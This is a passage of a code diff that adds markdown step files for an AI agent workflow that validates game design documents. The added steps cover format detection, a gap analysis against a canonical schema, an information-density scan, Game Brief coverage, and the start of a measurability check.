+## MANDATORY EXECUTION RULES (READ FIRST):
+
+### Universal Rules:
+
+- 🛑 NEVER generate content without user input
+- 📖 CRITICAL: Read the complete step file before taking any action
+- 🔄 CRITICAL: When loading next step with 'C', ensure entire file is read
+- 📋 YOU ARE A FACILITATOR, not a content generator
+- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
+- ✅ YOU MUST ALWAYS WRITE all artifact and document content in `{document_output_language}`
+
+### Role Reinforcement:
+
+- ✅ You are a Validation Architect and Quality Assurance Specialist
+- ✅ If you already have been given communication or persona patterns, continue to use those while playing this new role
+- ✅ We engage in collaborative dialogue, not command-response
+- ✅ You bring systematic validation expertise and pattern recognition
+- ✅ User brings game design knowledge and GDD context
+
+### Step-Specific Rules:
+
+- 🎯 Focus ONLY on detecting format and classifying structure
+- 🚫 FORBIDDEN to perform other validation checks in this step
+- 💬 Approach: Analytical and systematic, clear reporting of findings
+- 🚪 This is a branch step - may route to parity check for non-standard GDDs
+
+## EXECUTION PROTOCOLS:
+
+- 🎯 Analyze GDD structure systematically
+- 💾 Append format findings to validation report
+- 📖 Route appropriately based on format classification
+- 🚫 FORBIDDEN to skip format detection or proceed without classification
+
+## CONTEXT BOUNDARIES:
+
+- Available context: GDD file loaded in step 1, validation report initialized
+- Focus: Format detection and classification only
+- Limits: Don't perform other validation, don't skip classification
+- Dependencies: Step 1 completed - GDD loaded and report initialized
+
+## MANDATORY SEQUENCE
+
+**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise unless user explicitly requests a change.
+
+### 1. Extract GDD Structure
+
+Load the complete GDD file and extract:
+
+**All Level 2 (##) headers:**
+
+- Scan through entire GDD document
+- Extract all `##` section headers
+- List them in order
+
+**GDD frontmatter:**
+
+- Extract `classification.gameType` if present
+- Extract `classification.platforms` if present
+- Extract `classification.genreComplexity` if present
+- Note any other relevant metadata
+
+### 2. Check for Canonical GDS Core Sections
+
+Check if the GDD contains the following canonical gds-create-gdd core sections:
+
+1. **Executive Summary** (or variations: ## Executive Summary, ## Overview, ## Core Concept)
+2. **Goals and Context** (or: ## Goals, ## Project Goals, ## Context)
+3. **Core Gameplay** (or: ## Core Gameplay, ## Gameplay Loop, ## Game Pillars)
+4. **Game Mechanics** (or: ## Game Mechanics, ## Mechanics, ## Systems)
+5. **Progression and Balance** (or: ## Progression, ## Balance, ## Difficulty)
+6. **Technical Specifications** (or: ## Technical Specs, ## Technical Requirements, ## Performance)
+7. **Development Epics** (or: ## Epics, ## Epic Structure, ## Development Plan)
+
+**Count matches:**
+
+- How many of these 7 core sections are present?
+- Which specific sections are present?
+- Which are missing?
+
+### 3. Classify GDD Format
+
+Based on core section count, classify:
+
+**Canonical GDS Schema:**
+
+- 6-7 core sections present
+- Follows gds-create-gdd structure closely
+
+**GDS Variant:**
+
+- 4-5 core sections present
+- Generally follows canonical patterns but has structural differences
+- Missing some sections but recognizable as a BMAD GDS-style GDD
+
+**Non-Standard:**
+
+- Fewer than 4 core sections present
+- Does not follow canonical GDS structure
+- May be a completely custom format, legacy GDD template, or from another framework/tool
+
+### 4. Report Format Findings to Validation Report
+
+Append to validation report:
+
+```markdown
+## Format Detection
+
+**GDD Structure:**
+[List all ## Level 2 headers found]
+
+**Canonical GDS Core Sections Present:**
+
+- Executive Summary: [Present/Missing]
+- Goals and Context: [Present/Missing]
+- Core Gameplay: [Present/Missing]
+- Game Mechanics: [Present/Missing]
+- Progression and Balance: [Present/Missing]
+- Technical Specifications: [Present/Missing]
+- Development Epics: [Present/Missing]
+
+**Format Classification:** [Canonical GDS / GDS Variant / Non-Standard]
+**Core Sections Present:** [count]/7
+```
+
+### 5. Route Based on Format Classification
+
+**IF format is Canonical GDS or GDS Variant:**
+
+Display: "**Format Detected:** {classification}
+
+Proceeding to systematic validation checks..."
+
+Without delay, read fully and follow: {nextStepFile} (step-v-03-density-validation.md)
+
+**IF format is Non-Standard (< 4 core sections):**
+
+Display: "**Format Detected:** Non-Standard GDD
+
+This GDD does not follow the canonical gds-create-gdd structure (only {count}/7 core sections present).
+
+You have options:"
+
+Present MENU OPTIONS below for user selection
+
+### 6. Present MENU OPTIONS (Non-Standard GDDs Only)
+
+**[A] Parity Check** - Analyze gaps and estimate effort to reach canonical GDS parity
+**[B] Validate As-Is** - Proceed with validation using current structure
+**[C] Exit** - Exit validation and review format findings
+
+#### EXECUTION RULES:
+
+- ALWAYS halt and wait for user input
+- Only proceed based on user selection
+
+#### Menu Handling Logic:
+
+- IF A (Parity Check): Read fully and follow: {altStepFile} (step-v-02b-parity-check.md)
+- IF B (Validate As-Is): Display "Proceeding with validation..." then read fully and follow: {nextStepFile}
+- IF C (Exit): Display format findings summary and exit validation
+- IF Any other: help user respond, then redisplay menu
+
+---
+
+## 🚨 SYSTEM SUCCESS/FAILURE METRICS
+
+### ✅ SUCCESS:
+
+- All ## Level 2 headers extracted successfully
+- Canonical GDS core sections checked systematically
+- Format classified correctly based on section count
+- Findings reported to validation report
+- Canonical/Variant GDDs proceed directly to next validation step
+- Non-Standard GDDs pause and present options to user
+- User can choose parity check, validate as-is, or exit
+
+### ❌ SYSTEM FAILURE:
+
+- Not extracting all headers before classification
+- Incorrect format classification
+- Not reporting findings to validation report
+- Not pausing for non-standard GDDs
+- Proceeding without user decision for non-standard formats
+
+**Master Rule:** Format detection determines validation path. Non-standard GDDs require user choice before proceeding.
diff --git a/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-02b-parity-check.md b/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-02b-parity-check.md
new file mode 100644
index 0000000..0f35fee
--- /dev/null
+++ b/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-02b-parity-check.md
@@ -0,0 +1,238 @@
+---
+name: 'step-v-02b-parity-check'
+description: 'Document Parity Check - Analyze a non-standard GDD and identify gaps against the canonical gds-create-gdd schema'
+
+# File references (ONLY variables used in this step)
+nextStepFile: './step-v-03-density-validation.md'
+gddFile: '{gdd_file_path}'
+validationReportPath: '{validation_report_path}'
+---
+
+# Step V-2B: Document Parity Check
+
+## STEP GOAL:
+
+Analyze a non-standard GDD and identify gaps to achieve canonical gds-create-gdd parity, presenting the user with options for how to proceed.
+
+## MANDATORY EXECUTION RULES (READ FIRST):
+
+### Universal Rules:
+
+- 🛑 NEVER generate content without user input
+- 📖 CRITICAL: Read the complete step file before taking any action
+- 🔄 CRITICAL: When loading next step with 'C', ensure entire file is read
+- 📋 YOU ARE A FACILITATOR, not a content generator
+- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
+- ✅ YOU MUST ALWAYS WRITE all artifact and document content in `{document_output_language}`
+
+### Role Reinforcement:
+
+- ✅ You are a Validation Architect and Quality Assurance Specialist
+- ✅ If you already have been given communication or persona patterns, continue to use those while playing this new role
+- ✅ We engage in collaborative dialogue, not command-response
+- ✅ You bring BMAD GDD standards expertise and gap analysis
+- ✅ User brings game design knowledge and GDD context
+
+### Step-Specific Rules:
+
+- 🎯 Focus ONLY on analyzing gaps and estimating parity effort
+- 🚫 FORBIDDEN to perform other validation checks in this step
+- 💬 Approach: Systematic gap analysis with clear recommendations
+- 🚪 This is an optional branch step - user chooses next action
+
+## EXECUTION PROTOCOLS:
+
+- 🎯 Analyze each canonical GDS core section for gaps
+- 💾 Append parity analysis to validation report
+- 📖 Present options and await user decision
+- 🚫 FORBIDDEN to proceed without user selection
+
+## CONTEXT BOUNDARIES:
+
+- Available context: Non-standard GDD from step 2, validation report in progress
+- Focus: Parity analysis only - what's missing, what's needed
+- Limits: Don't perform other validation checks, don't auto-proceed
+- Dependencies: Step 2 classified GDD as non-standard and user chose parity check
+
+## MANDATORY SEQUENCE
+
+**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise unless user explicitly requests a change.
+
+### 1. Analyze Each Canonical GDS Core Section
+
+For each of the 7 canonical GDS core sections, analyze:
+
+**Executive Summary:**
+
+- Does the GDD have a core concept / vision?
+- Is target audience identified?
+- Are USPs (unique selling points) listed?
+- Gap: [What's missing or incomplete]
+
+**Goals and Context:**
+
+- Are project goals defined?
+- Is background / rationale clear?
+- Gap: [What's missing or incomplete]
+
+**Core Gameplay:**
+
+- Are game pillars defined?
+- Is the core gameplay loop documented?
+- Are win/loss conditions clear?
+- Gap: [What's missing or incomplete]
+
+**Game Mechanics:**
+
+- Are primary mechanics listed?
+- Are controls and input documented?
+- Gap: [What's missing or incomplete]
+
+**Progression and Balance:**
+
+- Is player progression defined?
+- Is the difficulty curve described?
+- Is the economy / resource system specified?
+- Gap: [What's missing or incomplete]
+
+**Technical Specifications:**
+
+- Are performance targets specified?
+- Are platform requirements documented?
+- Are asset budgets / constraints noted?
+- Gap: [What's missing or incomplete]
+
+**Development Epics:**
+
+- Are high-level epics identified?
+- Is epic scope clear?
+- Gap: [What's missing or incomplete]
+
+### 2. Estimate Effort to Reach Parity
+
+For each missing or incomplete section, estimate:
+
+**Effort Level:**
+
+- Minimal - Section exists but needs minor enhancements
+- Moderate - Section missing but content exists elsewhere in GDD
+- Significant - Section missing, requires new content creation
+
+**Total Parity Effort:**
+
+- Based on individual section estimates
+- Classify overall: Quick / Moderate / Substantial effort
+
+### 3. Report Parity Analysis to Validation Report
+
+Append to validation report:
+
+```markdown
+## Parity Analysis (Non-Standard GDD)
+
+### Section-by-Section Gap Analysis
+
+**Executive Summary:**
+
+- Status: [Present/Missing/Incomplete]
+- Gap: [specific gap description]
+- Effort to Complete: [Minimal/Moderate/Significant]
+
+**Goals and Context:**
+
+- Status: [Present/Missing/Incomplete]
+- Gap: [specific gap description]
+- Effort to Complete: [Minimal/Moderate/Significant]
+
+**Core Gameplay:**
+
+- Status: [Present/Missing/Incomplete]
+- Gap: [specific gap description]
+- Effort to Complete: [Minimal/Moderate/Significant]
+
+**Game Mechanics:**
+
+- Status: [Present/Missing/Incomplete]
+- Gap: [specific gap description]
+- Effort to Complete: [Minimal/Moderate/Significant]
+
+**Progression and Balance:**
+
+- Status: [Present/Missing/Incomplete]
+- Gap: [specific gap description]
+- Effort to Complete: [Minimal/Moderate/Significant]
+
+**Technical Specifications:**
+
+- Status: [Present/Missing/Incomplete]
+- Gap: [specific gap description]
+- Effort to Complete: [Minimal/Moderate/Significant]
+
+**Development Epics:**
+
+- Status: [Present/Missing/Incomplete]
+- Gap: [specific gap description]
+- Effort to Complete: [Minimal/Moderate/Significant]
+
+### Overall Parity Assessment
+
+**Overall Effort to Reach Canonical GDS Schema:** [Quick/Moderate/Substantial]
+**Recommendation:** [Brief recommendation based on analysis]
+```
+
+### 4. Present Parity Analysis and Options
+
+Display:
+
+"**Parity Analysis Complete**
+
+Your GDD is missing {count} of 7 canonical GDS core sections. The overall effort to reach canonical parity is: **{effort level}**
+
+**Quick Summary:**
+[2-3 sentence summary of key gaps]
+
+**Recommendation:**
+{recommendation from analysis}
+
+**How would you like to proceed?**"
+
+### 5. Present MENU OPTIONS
+
+**[C] Continue Validation** - Proceed with validation using current structure
+**[E] Exit & Review** - Exit validation and review parity report
+**[S] Save & Exit** - Save parity report and exit
+
+#### EXECUTION RULES:
+
+- ALWAYS halt and wait for user input
+- Only proceed based on user selection
+
+#### Menu Handling Logic:
+
+- IF C (Continue): Display "Proceeding with validation..." then read fully and follow: {nextStepFile}
+- IF E (Exit): Display parity summary and exit validation
+- IF S (Save): Confirm saved, display summary, exit
+- IF Any other: help user respond, then redisplay menu
+
+---
+
+## 🚨 SYSTEM SUCCESS/FAILURE METRICS
+
+### ✅ SUCCESS:
+
+- All 7 canonical GDS sections analyzed for gaps
+- Effort estimates provided for each gap
+- Overall parity effort assessed correctly
+- Parity analysis reported to validation report
+- Clear summary presented to user
+- User can choose to continue validation, exit, or save report
+
+### ❌ SYSTEM FAILURE:
+
+- Not analyzing all 7 sections systematically
+- Missing effort estimates
+- Not reporting parity analysis to validation report
+- Auto-proceeding without user decision
+- Unclear recommendations
+
+**Master Rule:** Parity check informs user of gaps and effort, but user decides whether to proceed with validation or address gaps first.
diff --git a/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-03-density-validation.md b/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-03-density-validation.md
new file mode 100644
index 0000000..9a983ad
--- /dev/null
+++ b/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-03-density-validation.md
@@ -0,0 +1,206 @@
+---
+name: 'step-v-03-density-validation'
+description: 'Information Density Check - Scan for anti-patterns that violate information density principles in the GDD'
+
+# File references (ONLY variables used in this step)
+nextStepFile: './step-v-04-brief-coverage-validation.md'
+gddFile: '{gdd_file_path}'
+validationReportPath: '{validation_report_path}'
+---
+
+# Step V-3: Information Density Validation
+
+## STEP GOAL:
+
+Validate the GDD meets BMAD information-density standards by scanning for conversational filler, marketing/pitch-deck language, and redundant expressions that violate conciseness principles.
+
+## MANDATORY EXECUTION RULES (READ FIRST):
+
+### Universal Rules:
+
+- 🛑 NEVER generate content without user input
+- 📖 CRITICAL: Read the complete step file before taking any action
+- 🔄 CRITICAL: When loading next step with 'C', ensure entire file is read
+- 📋 YOU ARE A FACILITATOR, not a content generator
+- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
+- ✅ YOU MUST ALWAYS WRITE all artifact and document content in `{document_output_language}`
+
+### Role Reinforcement:
+
+- ✅ You are a Validation Architect and Quality Assurance Specialist
+- ✅ If you already have been given communication or persona patterns, continue to use those while playing this new role
+- ✅ We engage in systematic validation, not collaborative dialogue
+- ✅ You bring analytical rigor and attention to detail
+- ✅ This step runs autonomously - no user input needed
+
+### Step-Specific Rules:
+
+- 🎯 Focus ONLY on information density anti-patterns
+- 🚫 FORBIDDEN to validate other aspects in this step
+- 💬 Approach: Systematic scanning and categorization
+- 🚪 This is a validation sequence step - auto-proceeds when complete
+
+## EXECUTION PROTOCOLS:
+
+- 🎯 Scan GDD for density anti-patterns systematically
+- 💾 Append density findings to validation report
+- 📖 Display "Proceeding to next check..." and load next step
+- 🚫 FORBIDDEN to pause or request user input
+
+## CONTEXT BOUNDARIES:
+
+- Available context: GDD file, validation report with format findings
+- Focus: Information density validation only
+- Limits: Don't validate other aspects, don't pause for user input
+- Dependencies: Step 2 completed - format classification done
+
+## MANDATORY SEQUENCE
+
+**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise unless user explicitly requests a change.
+
+### 1. Attempt Sub-Process Validation
+
+**Try to use Task tool to spawn a subprocess:**
+
+"Perform information density validation on this GDD:
+
+1. Load the GDD file
+2. Scan for the following anti-patterns:
+   - Conversational filler phrases (examples: 'The player will be able to...', 'It is important to note that...', 'In order to')
+   - Marketing / pitch-deck language (examples: 'engaging gameplay', 'immersive experience', 'unique blend', 'revolutionary', 'next-generation')
+   - Subjective design claims without values (examples: 'fun', 'satisfying', 'deep', 'rich', 'meaningful' - used without concrete backing)
+   - Wordy phrases (examples: 'Due to the fact that', 'In the event of', 'For the purpose of')
+   - Redundant phrases (examples: 'Future plans', 'Absolutely essential', 'Past history')
+3. Count violations by category with line numbers
+4. Classify severity: Critical (>10 violations), Warning (5-10), Pass (<5)
+
+Return structured findings with counts and examples."
+
+### 2. Graceful Degradation (if Task tool unavailable)
+
+If Task tool unavailable, perform analysis directly:
+
+**Scan for conversational filler patterns:**
+
+- "The player will be able to..."
+- "It is important to note that..."
+- "In order to"
+- "For the purpose of"
+- "With regard to"
+- Count occurrences and note line numbers
+
+**Scan for marketing / pitch-deck language:**
+
+- "engaging gameplay"
+- "immersive experience"
+- "unique blend of"
+- "revolutionary"
+- "next-generation"
+- "AAA-quality"
+- "unlike anything before"
+- Count occurrences and note line numbers
+
+**Scan for subjective design claims without backing:**
+
+- "fun", "satisfying", "deep", "rich", "meaningful", "organic", "emergent" - when used as a claim without concrete mechanics/values attached
+- Note line numbers (these are WARNINGS, not automatic critical - context matters)
+
+**Scan for wordy phrases:**
+
+- "Due to the fact that" (use "because")
+- "In the event of" (use "if")
+- "At this point in time" (use "now")
+- "In a manner that" (use "how")
+- Count occurrences and note line numbers
+
+**Scan for redundant phrases:**
+
+- "Future plans" (just "plans")
+- "Past history" (just "history")
+- "Absolutely essential" (just "essential")
+- "Completely finish" (just "finish")
+- Count occurrences and note line numbers
+
+### 3. Classify Severity
+
+**Calculate total violations:**
+
+- Conversational filler count
+- Marketing / pitch-deck count
+- Subjective claims without backing
+- Wordy phrases count
+- Redundant phrases count
+- Total = sum of all categories
+
+**Determine severity:**
+
+- **Critical:** Total > 10 violations
+- **Warning:** Total 5-10 violations
+- **Pass:** Total < 5 violations
+
+### 4. Report Density Findings to Validation Report
+
+Append to validation report:
+
+```markdown
+## Information Density Validation
+
+**Anti-Pattern Violations:**
+
+**Conversational Filler:** {count} occurrences
+[If count > 0, list examples with line numbers]
+
+**Marketing / Pitch-Deck Language:** {count} occurrences
+[If count > 0, list examples with line numbers]
+
+**Subjective Claims Without Backing:** {count} occurrences
+[If count > 0, list examples with line numbers - note: context-dependent]
+
+**Wordy Phrases:** {count} occurrences
+[If count > 0, list examples with line numbers]
+
+**Redundant Phrases:** {count} occurrences
+[If count > 0, list examples with line numbers]
+
+**Total Violations:** {total}
+
+**Severity Assessment:** [Critical/Warning/Pass]
+
+**Recommendation:**
+[If Critical] "GDD requires significant revision to improve information density. Every sentence should carry design weight - strip marketing language and subjective claims that aren't backed by concrete mechanics."
+[If Warning] "GDD would benefit from reducing pitch-deck language and eliminating filler phrases. Favor concrete values over subjective claims."
+[If Pass] "GDD demonstrates good information density with minimal violations."
+```
+
+### 5. Display Progress and Auto-Proceed
+
+Display: "**Information Density Validation Complete**
+
+Severity: {Critical/Warning/Pass}
+
+**Proceeding to next validation check...**"
+
+Without delay, read fully and follow: {nextStepFile} (step-v-04-brief-coverage-validation.md)
+
+---
+
+## 🚨 SYSTEM SUCCESS/FAILURE METRICS
+
+### ✅ SUCCESS:
+
+- GDD scanned for all anti-pattern categories (including pitch-deck language)
+- Violations counted with line numbers
+- Severity classified correctly
+- Findings reported to validation report
+- Auto-proceeds to next validation step
+- Subprocess attempted with graceful degradation
+
+### ❌ SYSTEM FAILURE:
+
+- Not scanning all anti-pattern categories
+- Missing severity classification
+- Not reporting findings to validation report
+- Pausing for user input (should auto-proceed)
+- Not attempting subprocess architecture
+
+**Master Rule:** Information density validation runs autonomously. Scan, classify, report, auto-proceed. Game design docs are especially prone to pitch-deck bloat - catch it here.
diff --git a/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-04-brief-coverage-validation.md b/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-04-brief-coverage-validation.md
new file mode 100644
index 0000000..988eaba
--- /dev/null
+++ b/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-04-brief-coverage-validation.md
@@ -0,0 +1,229 @@
+---
+name: 'step-v-04-brief-coverage-validation'
+description: 'Game Brief Coverage Check - Validate the GDD covers all content from the Game Brief (if used as input)'
+
+# File references (ONLY variables used in this step)
+nextStepFile: './step-v-05-measurability-validation.md'
+gddFile: '{gdd_file_path}'
+gameBrief: '{game_brief_path}'
+validationReportPath: '{validation_report_path}'
+---
+
+# Step V-4: Game Brief Coverage Validation
+
+## STEP GOAL:
+
+Validate that the GDD covers all content from the Game Brief (if a brief was used as input), mapping brief content to GDD sections and identifying gaps.
+
+## MANDATORY EXECUTION RULES (READ FIRST):
+
+### Universal Rules:
+
+- 🛑 NEVER generate content without user input
+- 📖 CRITICAL: Read the complete step file before taking any action
+- 🔄 CRITICAL: When loading next step with 'C', ensure entire file is read
+- 📋 YOU ARE A FACILITATOR, not a content generator
+- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
+- ✅ YOU MUST ALWAYS WRITE all artifact and document content in `{document_output_language}`
+
+### Role Reinforcement:
+
+- ✅ You are a Validation Architect and Quality Assurance Specialist
+- ✅ If you already have been given communication or persona patterns, continue to use those while playing this new role
+- ✅ We engage in systematic validation, not collaborative dialogue
+- ✅ You bring analytical rigor and traceability expertise
+- ✅ This step runs autonomously - no user input needed
+
+### Step-Specific Rules:
+
+- 🎯 Focus ONLY on Game Brief coverage (conditional on brief existence)
+- 🚫 FORBIDDEN to validate other aspects in this step
+- 💬 Approach: Systematic mapping and gap analysis
+- 🚪 This is a validation sequence step - auto-proceeds when complete
+
+## EXECUTION PROTOCOLS:
+
+- 🎯 Check if Game Brief exists in input documents
+- 💬 If no brief: Skip this check and report "N/A - No Game Brief"
+- 🎯 If brief exists: Map brief content to GDD sections
+- 💾 Append coverage findings to validation report
+- 📖 Display "Proceeding to next check..." and load next step
+- 🚫 FORBIDDEN to pause or request user input
+
+## CONTEXT BOUNDARIES:
+
+- Available context: GDD file, input documents from step 1, validation report
+- Focus: Game Brief coverage only (conditional)
+- Limits: Don't validate other aspects, conditional execution
+- Dependencies: Step 1 completed - input documents loaded
+
+## MANDATORY SEQUENCE
+
+**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise unless user explicitly requests a change.
+
+### 1. Check for Game Brief
+
+Check if a Game Brief was loaded in step 1's inputDocuments. Look for files matching `{planning_artifacts}/*brief*.md` or entries in frontmatter referencing a game brief (typically produced by `gds-create-game-brief`).
+
+**IF no Game Brief found:**
+Append to validation report:
+
+```markdown
+## Game Brief Coverage
+
+**Status:** N/A - No Game Brief was provided as input
+```
+
+Display: "**Game Brief Coverage: Skipped** (No Game Brief provided)
+
+**Proceeding to next validation check...**"
+
+Without delay, read fully and follow: {nextStepFile}
+
+**IF Game Brief exists:** Continue to step 2 below
+
+### 2. Attempt Sub-Process Validation
+
+**Try to use Task tool to spawn a subprocess:**
+
+"Perform Game Brief coverage validation:
+
+1. Load the Game Brief
+2. Extract key content:
+   - Core fantasy / game vision
+   - Target player / audience
+   - Core gameplay hook / elevator pitch
+   - Target platforms
+   - Reference titles and inspirations
+   - Key mechanics or systems the brief calls out
+   - Design goals / pillars
+   - Scope constraints (team size, timeline, engine)
+3. For each item, search the GDD for corresponding coverage
+4. Classify coverage: Fully Covered / Partially Covered / Not Found / Intentionally Excluded
+5. Note any gaps with severity: Critical / Moderate / Informational
+
+Return structured coverage map with classifications."
+
+### 3. Graceful Degradation (if Task tool unavailable)
+
+If Task tool unavailable, perform analysis directly:
+
+**Extract from Game Brief:**
+
+- Core fantasy: What is the player supposed to feel / be?
+- Audience: Who is this game for?
+- Hook: What's the one-sentence pitch?
+- Platforms: Target hardware / storefronts
+- References: Reference titles and inspirations
+- Mechanics: Key mechanics the brief identified
+- Pillars / goals: Design pillars or success criteria
+- Scope: Team, timeline, engine, budget constraints
+
+**For each item, search GDD:**
+
+- Scan Executive Summary for core fantasy and hook
+- Check Goals and Context for audience and pillars
+- Look for references in Art/Audio or inspiration callouts
+- Check Core Gameplay / Game Mechanics for called-out mechanics
+- Review Technical Specifications for platform and scope constraints
+- Check Out of Scope section for explicit exclusions
+
+**Classify coverage:**
+
+- **Fully Covered:** Content present and complete
+- **Partially Covered:** Content present but incomplete
+- **Not Found:** Content missing from GDD
+- **Intentionally Excluded:** Content explicitly noted as out of scope
+
+### 4. Assess Coverage and Severity
+
+**For each gap (Partially Covered or Not Found):**
+
+- Is this Critical? (Core fantasy, primary mechanics, target platform)
+- Is this Moderate? (Secondary mechanics, nice-to-have pillars)
+- Is this Informational? (Minor references, optional features)
+
+**Note:** Some exclusions may be intentional - the GDD legitimately narrowed scope from the brief. Look for explicit mentions in the Out of Scope section.
+
+### 5. Report Coverage Findings to Validation Report
+
+Append to validation report:
+
+```markdown
+## Game Brief Coverage
+
+**Game Brief:** {brief_file_name}
+
+### Coverage Map
+
+**Core Fantasy / Vision:** [Fully/Partially/Not Found/Intentionally Excluded]
+[If gap: Note severity and specific missing content]
+
+**Target Audience:** [Fully/Partially/Not Found/Intentionally Excluded]
+[If gap: Note severity and specific missing content]
+
+**Core Hook / Elevator Pitch:** [Fully/Partially/Not Found/Intentionally Excluded]
+[If gap: Note severity and specific missing content]
+
+**Target Platforms:** [Fully/Partially/Not Found/Intentionally Excluded]
+[If gap: Note severity and specific missing content]
+
+**Reference Titles / Inspirations:** [Fully/Partially/Not Found/Intentionally Excluded]
+[If gap: Note severity and specific missing content]
+
+**Key Mechanics from Brief:** [Fully/Partially/Not Found/Intentionally Excluded]
+[If gap: List specific mechanics with severity]
+
+**Design Pillars / Goals:** [Fully/Partially/Not Found/Intentionally Excluded]
+[If gap: Note severity and specific missing content]
+
+**Scope Constraints:** [Fully/Partially/Not Found/Intentionally Excluded]
+[If gap: Note severity and specific missing content]
+
+### Coverage Summary
+
+**Overall Coverage:** [percentage or qualitative assessment]
+**Critical Gaps:** [count] [list if any]
+**Moderate Gaps:** [count] [list if any]
+**Informational Gaps:** [count] [list if any]
+
+**Recommendation:**
+[If critical gaps exist] "GDD should be revised to cover critical Game Brief content - the brief defined what this project is; the GDD should honor it or explicitly document the deviation."
+[If moderate gaps] "Consider addressing moderate gaps or documenting them as intentional scope changes in Out of Scope."
+[If minimal gaps] "GDD provides good coverage of Game Brief content."
+```
+
+### 6. Display Progress and Auto-Proceed
+
+Display: "**Game Brief Coverage Validation Complete**
+
+Overall Coverage: {assessment}
+
+**Proceeding to next validation check...**"
+
+Without delay, read fully and follow: {nextStepFile} (step-v-05-measurability-validation.md)
+
+---
+
+## 🚨 SYSTEM SUCCESS/FAILURE METRICS
+
+### ✅ SUCCESS:
+
+- Checked for Game Brief existence correctly
+- If no brief: Reported "N/A" and skipped gracefully
+- If brief exists: Mapped all key brief content to GDD sections
+- Coverage classified appropriately (Fully/Partially/Not Found/Intentionally Excluded)
+- Severity assessed for gaps (Critical/Moderate/Informational)
+- Findings reported to validation report
+- Auto-proceeds to next validation step
+- Subprocess attempted with graceful degradation
+
+### ❌ SYSTEM FAILURE:
+
+- Not checking for brief existence before attempting validation
+- If brief exists: not mapping all key content areas
+- Missing coverage classifications
+- Not reporting findings to validation report
+- Not auto-proceeding
+
+**Master Rule:** Game Brief coverage is conditional - skip if no brief, validate thoroughly if brief exists. Always auto-proceed.
diff --git a/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-05-measurability-validation.md b/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-05-measurability-validation.md
new file mode 100644
index 0000000..6008d57
--- /dev/null
+++ b/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-05-measurability-validation.md
@@ -0,0 +1,279 @@
+---
+name: 'step-v-05-measurability-validation'
+description: 'Measurability Validation - Validate design goals, mechanics, and technical specs are measurable and testable'
+
+# File references (ONLY variables used in this step)
+nextStepFile: './step-v-06-traceability-validation.md'
+gddFile: '{gdd_file_path}'
+validationReportPath: '{validation_report_path}'
+---
+
+# Step V-5: Measurability Validation
+
+## STEP GOAL:
+
+Validate that all design goals, mechanics specifications, and technical targets in the GDD are measurable and testable - concrete numbers over subjective claims.
+
+## MANDATORY EXECUTION RULES (READ FIRST):
+
+### Universal Rules:
+
+- 🛑 NEVER generate content without user input
+- 📖 CRITICAL: Read the complete step file before taking any action
+- 🔄 CRITICAL: When loading next step with 'C', ensure entire file is read
+- 📋 YOU ARE A FACILITATOR, not a content generator
+- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
+- ✅ YOU MUST ALWAYS WRITE all artifact and document content in `{document_output_language}`
+
+### Role Reinforcement:
+
+- ✅ You are a Validation Architect and Quality Assurance Specialist
+- ✅ If you already have been given communication or persona patterns, continue to use those while playing this new role
+- ✅ We engage in systematic validation, not collaborative dialogue
+- ✅ You bring analytical rigor and game-design engineering expertise
+- ✅ This step runs autonomously - no user input needed
+
+### Step-Specific Rules:
+
+- 🎯 Focus ONLY on measurability of design goals, mechanics, and tech specs
+- 🚫 FORBIDDEN to validate other aspects in this step
+- 💬 Approach: Systematic item-by-item analysis
+- 🚪 This is a validation sequence step - auto-proceeds when complete
+
+## EXECUTION PROTOCOLS:
+
+- 🎯 Extract design goals, mechanics, and technical specs from GDD
+- 💾 Validate each for concrete numbers and testability
+- 📖 Append findings to validation report
+- 📖 Display "Proceeding to next check..." and load next step
+- 🚫 FORBIDDEN to pause or request user input
+
+## CONTEXT BOUNDARIES:
+
+- Available context: GDD file, validation report
+- Focus: Measurability of design goals, mechanics, and tech specs
+- Limits: Don't validate other aspects, don't pause for user input
+- Dependencies: Steps 2-4 completed - initial validation checks done
+
+## MANDATORY SEQUENCE
+
+**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise unless user explicitly requests a change.
+
+### 1. Attempt Sub-Process Validation
+
+**Try to use Task tool to spawn a subprocess:**
+
+"Perform measurability validation on this GDD:
+
+**Design Goals / Success Metrics:**
+
+1. Extract all entries from Success Metrics / design goals sections
+2. Check each for:
+   - Concrete target values (retention %, completion rate, session length, FPS)
+   - Measurement method (telemetry, playtest, automated profiler)
+   - No subjective terms (fun, satisfying, immersive) without backing values
+3. Document violations with line numbers
+
+**Mechanics & Systems:**
+
+1. Extract all mechanics from Core Gameplay and Game Mechanics sections
+2. Check each for:
+   - Concrete values (damages, timings, costs, ranges, cooldowns)
+   - Feel parameters (jump height, coyote time, input buffer frames, etc.) when relevant to genre
+   - No subjective adjectives (easy, fun, responsive) without metrics
+   - No vague quantifiers (many, several, various)
+3. Document violations with line numbers
+
+**Technical Specifications:**
+
+1. Extract all tech specs from Technical Specifications section
+2. Check each for:
+   - Target FPS / frame-time per platform
+   - Memory budget per platform
+   - Load time budgets
+   - Resolution targets
+   - Measurement method (profiler, automation, QA)
+3. Document violations with line numbers
+
+Return structured findings with violation counts and examples."
+
+### 2. Graceful Degradation (if Task tool unavailable)
+
+If Task tool unavailable, perform analysis directly:
+
+**Design Goals Analysis:**
+
+Extract all design goals / success metrics and check each for:
+
